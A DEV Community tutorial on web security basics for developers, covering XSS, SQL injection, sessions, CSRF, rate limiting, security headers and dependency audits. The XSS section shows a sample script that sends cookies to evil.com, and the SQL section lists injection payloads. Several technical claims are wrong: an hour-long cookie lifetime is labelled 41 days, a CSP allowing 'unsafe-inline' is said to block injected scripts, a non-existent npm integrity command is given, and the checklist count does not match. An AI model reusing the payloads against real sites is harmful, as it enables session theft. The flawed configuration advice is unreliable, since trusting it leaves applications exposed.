DEV Community

Alex Chen
Alex Chen

Posted on

Web Security Basics Every Developer Must Know (2026)

Web Security Basics Every Developer Must Know (2026)

You don't need to be a security expert to stop most attacks. Here's what every developer should know.

The Threat Landscape

Who's attacking your web app?
→ Script kiddies running automated scanners
→ Bots scraping your data or submitting spam
→ Attackers looking for SQL injection targets
→ Anyone trying phishing through your domain

What they want:
→ User data (emails, passwords, PII)
→ Your server as a botnet node
→ SEO spam on your pages
→ Redirects to malicious sites

Good news: 90% of attacks are automated and target KNOWN vulnerabilities.
Fix the basics → eliminate 90% of risk.
Enter fullscreen mode Exit fullscreen mode

1. XSS (Cross-Site Scripting) — #1 Web Vulnerability

How It Works

<!-- Attacker posts this comment: -->
<script>
  // Steal cookies/session tokens
  fetch('https://evil.com/steal?cookie=' + document.cookie);

  // Or redirect users
  window.location = 'https://evil.com/phishing';
</script>

<!-- When OTHER users view this page, the script executes in THEIR browser! -->
Enter fullscreen mode Exit fullscreen mode

Prevention

// ❌ DANGEROUS: Rendering raw user input
app.get('/search', (req, res) => {
  res.send(`Results for: ${req.query.q}`); // Script injection!
});

// ✅ SAFE 1: Output encoding
const escapeHtml = (str) => str
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;');
res.send(`Results for: ${escapeHtml(req.query.q)}`);

// ✅ SAFE 2: Use a template engine that auto-escapes
// EJS: <%= variable %> (escapes) vs <%- variable %> (raw)
// React: JSX auto-escapes by default
// Vue: {{ variable }} auto-escapes

// ✅ SAFE 3: Content Security Policy (CSP)
res.setHeader('Content-Security-Policy', 
  "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
);
// Even if XSS slips through, CSP blocks script execution!

// For APIs returning JSON:
// Set Content-Type header correctly:
res.setHeader('Content-Type', 'application/json');
// This prevents HTML-based XSS (browser won't render JSON as HTML)
Enter fullscreen mode Exit fullscreen mode

DOM-Based XSS (Client-Side)

// ❌ Dangerous: Inserting user input directly into DOM
element.innerHTML = userInput; // Script executes!
document.write(userInput);     // Same problem

// ✅ Safe: Text content (no HTML parsing)
element.textContent = userInput; // Safe - treats as text

// ✅ Safe: Explicitly setting attributes
element.setAttribute('href', sanitizeUrl(userInput));

// Sanitize URLs
function sanitizeUrl(url) {
  const parsed = new URL(url, 'http://localhost');
  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return '/safe-fallback';
  }
  return parsed.href;
}
Enter fullscreen mode Exit fullscreen mode

2. SQL Injection — Still #1 for Data Breaches

How It Works

-- ❌ VULNERABLE: String concatenation
SELECT * FROM users WHERE email = '$emailInput';

-- Attacker sends: admin' OR '1'='1' --
-- Becomes:
SELECT * FROM users WHERE email = 'admin' OR '1'='1' --'
-- Returns ALL users (bypasses auth!)

-- Or worse: '; DROP TABLE users; --
Enter fullscreen mode Exit fullscreen mode

Prevention

// ❌ NEVER do this
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
db.execute(query);

// ✅ ALWAYS use parameterized queries (prepared statements)
const query = 'SELECT * FROM users WHERE id = ?';
db.execute(query, [req.params.id]); // Safe! Database handles escaping

// With Sequelize/ORM:
User.findByPk(req.params.id); // Safe by default

// With better-sqlite3:
const stmt = db.prepare('SELECT * FROM users WHERE email = ?');
stmt.run(email); // Parameterized automatically

// Validation as defense-in-depth:
function isValidId(id) {
  return /^[a-f0-9]{24}$/.test(id); // MongoDB ObjectId format
}
if (!isValidId(req.params.id)) return res.status(400).json({ error: 'Invalid ID' });
Enter fullscreen mode Exit fullscreen mode

3. Authentication & Session Security

Password Storage

// ❌ NEVER store plaintext or simple hashes
const hash = crypto.createHash('md5').update(password).digest('hex'); // CRACKED
const hash = crypto.createHash('sha1').update(password).digest('hex'); // CRACKED

// ✅ ALWAYS use bcrypt/argon2/scrypt (purposefully slow)
import bcrypt from 'bcryptjs';
const SALT_ROUNDS = 12;

async function hashPassword(password) {
  return await bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password, hash) {
  return await bcrypt.compare(password, hash);
}

// bcrypt is slow BY DESIGN (~100ms per hash)
// This makes brute-force attacks prohibitively expensive
// MD5/SHA1 can do billions of hashes per second
// bcrypt does maybe 20,000 per second
Enter fullscreen mode Exit fullscreen mode

Session Management

// ❌ Insecure session config
app.use(session({
  secret: 'secret123',           // Weak/guessable secret
  cookie: { secure: false },      // Sent over HTTP too!
  httpOnly: false,               // Accessible to JavaScript (XSS steals it!)
}));

// ✅ Secure session config
app.use(session({
  secret: crypto.randomBytes(32).toString('hex'), // Strong random secret
  name: '__Host-sid',            // Prefix with __Host- for same-site enforcement
  cookie: {
    secure: true,                // Only send over HTTPS
    httpOnly: true,              // JavaScript cannot read (XSS protection!)
    sameSite: 'lax',             // CSRF protection (strict = even better)
    maxAge: 3600000,             // Reasonable expiry (41 days)
    path: '/',                   // Restrict path
  },
  rolling: false,               // Don't extend on each request (prevents fixation)
  resave: false,
  saveUninitialized: false,      // Don't create sessions for anonymous users
}));
Enter fullscreen mode Exit fullscreen mode

JWT Best Practices

// Short-lived access token + refresh token pattern
function generateTokens(user) {
  const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }           // SHORT! 15 minutes
  );

  const refreshToken = jwt.sign(
    { userId: user.id, type: 'refresh' },
    process.env.JWT_REFRESH_SECRET,
    { expiresIn: '7d' }            // Longer-lived, stored securely
  );

  return { accessToken, refreshToken };
}

// Store refresh token in DB (can revoke!)
// Validate on every request
// Rotate on use (issue new one when old one is used)
Enter fullscreen mode Exit fullscreen mode

4. CSRF (Cross-Site Request Forgery)

How It Works

1. User logs into yoursite.com (has active session cookie)
2. User visits evil.com (while still logged in)
3. evil.com has: <img src="yoursite.com/transfer?to=attacker&amount=1000">
4. Browser automatically sends request WITH cookies
5. Your site processes it as legitimate user action!
Enter fullscreen mode Exit fullscreen mode

Prevention

// Option 1: CSRF Token (for cookie-based auth)
const csrf = require('csurf');
app.use(csrf({ cookie: true }));

// Include token in forms:
// <input type="hidden" name="_csrf" value="<%= csrfToken %>">
// And in AJAX: headers: { 'X-CSRF-Token': csrfToken }

// Option 2: SameSite cookies (easiest!)
// Already shown above: sameSite: 'lax' or 'strict'
// This prevents cross-origin requests from sending cookies

// Option 3: Don't use cookies for auth (JWT in header)
// If auth is via Authorization header (not cookie), CSRF doesn't apply
// Browser doesn't attach custom headers cross-origin
Enter fullscreen mode Exit fullscreen mode

5. Rate Limiting & Brute Force Protection

// Login brute force protection
const loginAttempts = new Map(); // In production, use Redis

app.post('/api/auth/login', rateLimit({
  windowMs: 15 * 60 * 1000,   // 15 minutes
  maxAttempts: 5,              // Max 5 attempts
}), async (req, res) => {
  const { email, password } = req.body;

  // Check account lockout
  const attempts = loginAttempts.get(email) || { count: 0, lockedUntil: 0 };
  if (Date.now() < attempts.lockedUntil) {
    const waitMinutes = Math.ceil((attempts.lockedUntil - Date.now()) / 60000);
    return res.status(429).json({ 
      error: `Account locked. Try again in ${waitMinutes} minutes` 
    });
  }

  const user = await authenticate(email, password);

  if (!user) {
    attempts.count++;
    if (attempts.count >= 10) {
      attempts.lockedUntil = Date.now() + (30 * 60 * 1000); // Lock 30 min
      // TODO: Send email alert about suspicious activity
    }
    loginAttempts.set(email, attempts);

    // Always return same message for wrong credentials (don't reveal which is wrong)
    return res.status(401).json({ error: 'Invalid email or password' });
  }

  // Success: reset counter
  loginAttempts.delete(email);
  res.json({ token: generateToken(user) });
});

// General API rate limiting
app.use('/api/', rateLimit({
  windowMs: 60_000,
  maxRequests: 100,
  keyGenerator: (req) => req.user?.id || req.ip,
}));
Enter fullscreen mode Exit fullscreen mode

6. Security Headers Checklist

const helmet = require('helmet');
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'strict-dynamic'"], // 'strict-dynamic' removes need for 'unsafe-inline'
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.example.com"],
      fontSrc: ["'self'"],
      frameAncestors: ["'none'"],
      formAction: ["'self'"],
    },
  },
  hsts: {                           // Force HTTPS
    maxAge: 31536000,              // 1 year
    includeSubDomains: true,
    preload: true,
  },
  noSniff: true,                    // Prevent MIME sniffing
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  permittedCrossDomainPolicies: true, // For older Flash/Java
}));
Enter fullscreen mode Exit fullscreen mode

7. Input Validation Defense in Depth

// Layer 1: Type validation (reject obviously wrong data)
function validateInput(data, schema) {
  const errors = [];
  for (const [field, rules] of Object.entries(schema)) {
    const value = data[field];

    if (rules.required && (value === undefined || value === null || value === '')) {
      errors.push({ field, issue: `${field} is required` });
      continue;
    }

    if (value === undefined && !rules.required) continue; // Optional field missing

    if (rules.type === 'string') {
      if (typeof value !== 'string') errors.push({ field, issue: 'Must be string' });
      else if (rules.maxLength && value.length > rules.maxLength)
        errors.push({ field, issue: `Max ${rules.maxLength} chars` });
      else if (rules.pattern && !rules.pattern.test(value))
        errors.push({ field, issue: 'Invalid format' });
    }

    if (rules.type === 'number') {
      if (typeof value !== 'number') errors.push({ field, issue: 'Must be number' });
      else if (rules.min !== undefined && value < rules.min)
        errors.push({ field, issue: `Must be >= ${rules.min}` });
      else if (rules.max !== undefined && value > rules.max)
        errors.push({ field, issue: `Must be <= ${rules.max}` });
    }

    if (rules.enum && !rules.enum.includes(value))
      errors.push({ field, issue: `Must be one of: ${rules.enum.join(', ')}` });
  }

  return errors;
}

// Layer 2: Sanitization (clean what comes through)
function sanitizeHtml(str) {
  // Use a library like DOMPurify in production!
  return str
    .replace(/<script\b[^<]*(?:<\/script>)?>/gi, '')  // Remove script tags
    .replace(/on\w+\s*=/gi, '')                     // Remove event handlers
    .replace(/javascript:/gi, '');                  // Remove JS protocol
}

// Layer 3: Length limits (prevent DoS via huge inputs)
app.use(express.json({ limit: '1mb' })); // Body size limit
app.use(express.urlencoded({ extended: true, limit: '1mb' }));

// Layer 4: Allowlist for sensitive operations
const ALLOWED_REDIRECT_DOMAINS = ['myapp.com', 'www.myapp.com'];
function safeRedirect(url) {
  const parsed = new URL(url, 'http://localhost');
  if (ALLOWED_REDIRECT_DOMAINS.includes(parsed.hostname)) {
    return url;
  }
  return '/';
}
Enter fullscreen mode Exit fullscreen mode

8. Dependency Security

# Check for known vulnerabilities
npm audit           # Show vulnerabilities
npm audit fix        # Auto-fix where possible
npm audit fix --force # Force fix (may break things)

# Check outdated packages
npm outdated         # Shows versions behind latest

# Lockfile security (prevents supply chain attacks)
npm pkg lock         # Verifies package integrity against registry

# In CI pipeline:
# npm ci --ignore-scripts  # Install without running scripts (safer)
# npm audit --audit-level=high  # Fail CI on high/critical vulns
Enter fullscreen mode Exit fullscreen mode

Quick Security Checklist

Before deploying ANY change:

□ All user input validated AND sanitized?
□ Database queries use parameterized/prepared statements?
□ Passwords hashed with bcrypt/argon2?
□ Auth tokens short-lived with secure secrets?
□ Sessions use httpOnly + secure + sameSite cookies?
□ CSRF protection enabled (token or SameSite)?
□ Rate limiting on all endpoints (especially auth)?
□ Security headers set (helmet.js)?
□ CSP configured (even a basic one)?
□ Dependencies audited (npm audit clean)?
□ Error messages don't leak internals in production?
□ HTTPS enforced everywhere?
□ Sensitive data encrypted at rest?
□ Admin endpoints require extra authentication?
□ File uploads validate type AND content (not just extension)?

Score yourself: Each ☑️ = ~10% reduction in attack surface.
12/12 = You're doing better than most startups.
Enter fullscreen mode Exit fullscreen mode

What's the biggest security mistake you've seen (or made)?

Follow @armorbreak for more practical developer guides.

Top comments (0)